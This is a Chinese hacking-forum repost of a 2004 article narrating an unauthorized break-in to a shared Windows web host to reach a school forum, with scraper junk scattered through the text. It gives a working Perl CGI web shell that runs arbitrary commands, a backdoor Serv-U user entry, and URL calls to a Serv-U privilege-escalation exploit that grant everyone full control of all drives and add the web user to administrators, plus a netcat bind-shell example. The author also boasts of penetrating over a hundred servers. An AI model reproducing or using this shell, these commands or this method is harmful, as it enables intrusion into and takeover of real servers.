找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2065|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 . z+ o4 M/ ^+ Y; P& v/ W& i8 I8 Y
本文作者:angel4 o2 u* f8 w' \' K: v: @# X! \
文章性质:原创  ?! v. B- M7 c
发布日期:2004-11-09 % T% E; H5 {+ N, m' S1 k
注意:& G% M  y, A4 ]2 u/ m" t- Y9 I( @
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( g# ^6 l- p) G% p* L) g( l8 W本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
% D: p9 e8 z) ^+ [  h( z. K, U% ^( }2 O1 r0 v% o& r
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 0 @( E3 Y, v3 T5 b  E( O( D- Z

$ B, {. a4 z& c  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
7 S4 Y# `% q% F7 P6 F. p( `0 h$ [# X3 G+ ?2 a6 V* [- t- X. v! X
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 E: Q% s0 T3 f- @" S

! X. c' \% X2 i( _' C* ]2 M0 b' t6 t- F  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
; F9 c- k* F7 p2 V% c2 X- z5 L! t5 c# y8 o$ L) W4 |
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
3 `% O- f7 m  V) v( M
/ [: s  H  C: k+ D- e4 O  没有目的的跳转目录着……
( s* W6 C5 d/ F' e$ @* Q4 Z* J" \) ^
5 m2 M0 V; r& U# ~7 m# }9 [  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
% A4 B  o$ P3 _/ k5 _& w( ?8 {1 L4 j- Q6 J% H. Q. j5 B
  结束了吗?不,我试着 FTP 一下: # C1 Q5 F( f& e% a
# m5 M$ Z" i9 x, J# p4 x
Microsoft Windows 2000 [Version 5.00.2195]: M2 k+ V, T* z
(C) 版权所有 1985-2000 Microsoft Corp.
( n1 z. k: t+ m' Y/ ~2 }0 k( j, T6 x( d5 R! i/ C& j6 |
C:\Documents and Settings\Administrator>ftp www.school.com
& i% a( m2 O2 T" ~Connected to www. school.com.
' _( X: @  ~" N7 c% g220 Welcome to FTP Server... 3 G7 a0 v1 S" d8 W% Z' F& X4 M
User (www.bjtrq.com:(none)):   b/ w1 Z/ C  K/ @$ z
331 User name okay, need password.
; [$ @- K9 E+ t; T0 f, RPassword: " ~" C  Z. x, j
530 Not logged in. ) U) U  @' o4 }  y. V6 O4 F* n% J5 R
Login failed.
( A  e; F: S- b+ @- \ftp> bye
/ o  H, M5 U6 p! i) H6 Z9 Z! |221 Goodbye! ' D7 ?0 V  Z! S9 V  }# h
  D- @+ {1 C/ Y' @4 A" }7 R
7 S  s" D/ b4 A+ D( f
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
# f6 [0 Y+ D# t- P3 }
5 m7 p8 j3 h& U. g  a  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 Y) |/ i1 _, f- e. \! [9 v+ I
. k/ Q8 Z, c5 O/ aApplication Data0 |$ ?6 t. E7 Z  ?6 v/ @
Documents
+ x- h1 @. o' r7 G3 FDRM
: x6 Y8 K; T$ OFavorites& ?* G8 {; B4 f- k
Templates
: T9 ]1 d2 M  r) J* c& r「开始」菜单, J; _1 `0 d3 t3 R7 H6 c/ {
桌面
! C% a9 o% k6 X5 Z1 F' a' F) J
2 m- `- N: H+ b+ H
5 u8 H9 e& Q+ a2 {" k% E6 @  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
' X% s8 U: U9 _. R0 }$ o
0 z8 M4 u- x$ A6 a  W! I. gActiveState ActivePerl 5.8
% w( @) M& u& v2 {& r) yAdministrative Tools
8 L; w; G( n0 e6 Y' u4 t9 |9 L. dDeerfield.com
/ X* a3 {/ }0 D* \& o+ h2 ]6 MDTemp
/ ]% x5 C$ C  `; FIPSentry: u# b, @  Z1 g- n# d
MBM 5  l( d  K; p  x) B+ N
NetMeter6 ~0 a6 C% e. H/ a2 W
Network ICE; V  T4 ?3 l* a
Persits Software AspEmail, x0 c+ W% j, Q7 U
Persits Software AspJpeg, c+ K6 b4 ?. B" T4 x4 R
Serv-U FTP Server
# C% l2 {/ P- C" F6 sSymantec Client Security
+ O  t7 V$ t- |' a8 DWindows 优化大师0 S, u: j& I' b$ T4 T
WinRAR
3 q7 L. I3 Z' o" d7 b; N. X启动
8 P0 V# t7 ~, Z1 g! A管理工具
9 u* t& \; U6 \4 ^附件
, Q7 C* P: o: F3 w
' f. o$ x  S0 D3 p$ [% T# j
+ a' n" d0 p9 K7 Z5 ^0 b/ B/ n  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
1 ]5 S: U: z0 E) w5 y: W! q: F5 ^* _
0 J( B5 g3 Q# H  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
" q$ ~0 P6 E2 ]' j: g! o" n, s2 o- E* q) p; T1 `; n, [
User281=angel|1|0 4 A$ m! y% N# o+ t, m) m
0 J. I2 k6 A( S' T2 R$ ^" b( Z$ m

3 D. H9 S" f; c: Y: x4 ~  然后加上
; `2 c. D9 t5 D. l. X3 ?- `4 w# j* r( z; k3 b8 {" M0 A) g
[USER=angel|1]- b' X) `& p  M+ h
Password=ng98F85379EA68DBF97BAADCA99B69B805& o. _2 }' |4 m1 T$ u+ Z* H& D3 Z  V  y
HomeDir=D:\websites
4 y) `8 O% S5 h' A3 V9 g  H9 F3 s5 tRelPaths=1
, j# c: Z. l( i/ {3 HTimeOut=600
, I$ w- q; V, v( i! C$ BMaintenance=System
6 I: J. t3 d0 x* }Access1=D:\websites|RWAMELCDP
- U, _5 [! m' FSKEYValues=
. B% N- t3 l9 s: P: z9 @6 E" e2 [* H + @1 n! k4 a6 Q7 ]

& a1 p  ]/ Z5 \5 Q# Z  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
: r, w* S1 v/ [' S$ J: S' R8 t& K7 I" i3 |
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 $ _; F" _( ~7 l$ R& x$ {4 V- x. O
6 g& _2 f  Y- H
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ( P, Y' _, u7 i% `( v
5 n& g8 X9 {: G6 e
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
: T+ I; v- @5 M/ [+ c# ~# L6 I; k5 J  y# m4 H# J1 J0 t
#!/usr/bin/perl0 ], t% S: K  [
binmode(STDOUT);
/ B8 ~- F/ K* G: E* p' Dsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
& N2 w4 |( ^" c8 q5 P( N$_ = $ENV{QUERY_STRING};
, a% J/ Z5 R9 ~  o5 Z( h" T" u8 [s/%20/ /ig;, {4 ~# m% _: m: D
s/%2f/\//ig;
; p- K0 v$ |2 _* i- y" M& L7 C/ H$execthis = $_;* D9 ^2 q: H. P: V6 L: ]0 x( @! `: _
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
9 }' Z* x2 |( @' G% vopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
' H- ~! _; G+ R1 A, E" {system($execthis);
9 B0 H. O! K. x" o/ v  R; e( N5 \syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);8 E  U7 y% V2 b8 I5 J& ]
close(STDERR);
% {4 M- N0 B2 [1 }2 z9 H! P: bclose(STDOUT);7 p# q# F' B! o3 E: u" `
exit;
% B4 q! d: \% l9 w- O 6 I  Z3 t2 L, R8 Y! C3 V; D

2 I' `1 |1 f, A* c+ ~* }  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! # s1 z7 z& V. r0 b, @! `  T4 G% W
& Q# q+ k- j  c
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ) q5 e  v  {; j7 K, L

5 O& s) {7 C# W. n  y' _6 o) thttp://anyhost//cmd.pl?d:\user\bin\su.exe
5 w5 O5 y/ a# ^
* T% }0 A7 l/ o& V
6 k7 j7 {8 q9 ]! O7 p/ H  返回: * l- E2 v  V4 G+ Y  B3 I6 t5 R

7 g* v' c' g; {/ ?Serv-u >3.x Local Exploit by xiaolu 2 _1 i0 g; a* p* z. ~) H7 q+ e

8 \! `- C& B3 M$ g9 lUSAGE: serv-u.exe "command" . O1 c8 \: {- D9 W

6 d$ Z4 ^: K$ Y8 u1 xExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 2 P9 X" J4 t1 ~% s
* k8 B* `- V% L1 S/ n
! X' q$ l/ k( s9 E6 |+ m; {/ |% z
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
* `5 Y* }+ W/ x) G
7 R. L: c  E# O8 {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
$ ]! `, m9 T! o  ^: U7 m( B  d* t2 k4 C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 6 {/ s1 e2 W( S/ N

5 y3 U: M4 R8 U) L% Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
9 y6 I7 G" g1 H, H$ c; p# ]
) M7 i; z( [0 [' J, q% W. q7 Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" # J# e% F0 ?2 `& x. A
9 d; \. R) Q" v
$ }3 ]" g) k) F7 q# x: ^
  返回下面的信息,就表示成功了!!! 8 _4 ?& T) O, u6 r& K8 i; T. n3 c

+ [8 E! ~1 N. SServ-u >3.x Local Exploit by xiaolu
% V* \- |# s. i9 W& t8 o7 E" y4 [5 Z6 g) _7 V
<220 Serv-U FTP Server v5.2 for WinSock ready...
' x3 \! f3 R. {; f7 B& _% ]2 A, J7 \5 B0 ^5 A" i: r* }4 I
>USER LocalAdministrator
- c. ~3 j; t; P4 A* j* q0 w
8 ^1 M( |* |1 s, D<331 User name okay, need password.
7 S" B. [5 k* }& p% X" C
4 x6 b, J2 O# K; H4 z******************************************************
( U4 v0 u; |1 E2 a
! |6 H6 ?5 w* S+ S1 X; j: R>PASS #l@$ak#.lk;0@P % R- J9 v# c' c2 Q3 k

% z/ L8 w. T8 T! f' |& m7 k( ]; U: n<230 User logged in, proceed. . d) p: ], `0 n
) v1 Z8 z9 J" r
******************************************************
6 Q, W  g" G. ~+ @; d: \$ C9 F9 s( J
>SITE MAINTENANCE
  W; a' ?6 ^, h( h$ d* e1 h8 m- _6 S$ V- u6 ]% a- r8 |" k3 E: m4 f* N
****************************************************** 3 k* y( U- W" A- m

  d9 b7 Q+ n/ ~[+] Creating New Domain... : b% ^0 d2 f9 a$ q1 T5 `

, }/ o1 `4 j2 E9 R+ `<200-DomainID=2
' t# L# H& j8 M% f: @1 T: ~1 K1 M: q+ s/ |8 I, F6 R
<220 Domain settings saved % t& n; E' N# Y
. n2 m% o: i. ^9 W( C" ]- Y
******************************************************
, E2 a9 T& b$ |% Y
. c* ?+ P  T% x[+] Domain xl:2 Created
% c5 x: t, |  G: y. O- L, {& j+ N  k/ X. R9 ]
[+] Creating Evil User / ~0 D  ]' W! z9 y, n: _
7 a; o# z! A4 u. _( p$ t
<200-User=xl : \9 g% @2 D- |* W  ^7 P
% V8 F" e* V$ y1 F
200 User settings saved 6 `$ H# z5 E) {- e7 |

9 v: n4 Z$ l8 a# n5 p& b% O. T****************************************************** ' s( ]& r. y6 U- y) q) d
, @8 Q% W; u/ M4 C3 _$ L
[+] Now Exploiting...
7 Y- i9 o% f: ^: I/ O7 ~6 w) p  h8 f
5 L/ W+ r# m6 N: j; v0 C* m  o- R>USER xl ! }/ C- v$ S( v  a* i* _" M' Z

' F$ A$ |' v3 A5 E6 H$ n<331 User name okay, need password.
" q& C7 h2 P& ?& T& g7 g0 C% E% h7 l' C. @. W3 I8 K8 E
****************************************************** 1 K9 g/ J, E3 a6 m8 {* i$ u
5 j7 m, l+ ~% D1 P% ^
>PASS 111111 3 @2 F5 m, E2 w7 o1 ]8 U

: z- D: A6 ^9 U: z# ^7 P* b<230 User logged in, proceed. ) v6 s, Q" }2 K' `- K

, K# @! x' S# E% G: h/ X******************************************************
7 {; x+ |3 f. j5 O1 }& F$ k( B
  x( P! o0 N4 x  Y8 `[+] Now Executing: cacls.exe c: /E /T /G everyone:F
6 |5 ^( b) o+ X  }
* K8 ]4 y0 V$ q" H<220 Domain deleted ) e8 ?1 G. ~* X5 Z: [' r  {' X
6 Y0 D: T9 o6 r; \% u- l
****************************************************** : y8 f6 R# g# A8 S9 X* O
# s* Z: C, ?. S; n2 C& H
, r) R2 S- _: D6 F7 U3 e
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 4 i. M! I7 G1 ?# x0 H0 ~
3 D0 g* K9 ?, M. J& ^5 L" K
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ( q7 F8 Q2 U: t/ g* i

- C2 g4 E" Y3 ~5 s
$ c5 V* k# p$ v. u  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 / O# O* J7 R9 h

0 a# F% y1 n; W- v8 t; H; [  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
; @, P' R3 H) l/ j* G$ o
  U1 q0 O4 Q9 C) [8 U  
, N  L7 V" k# Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表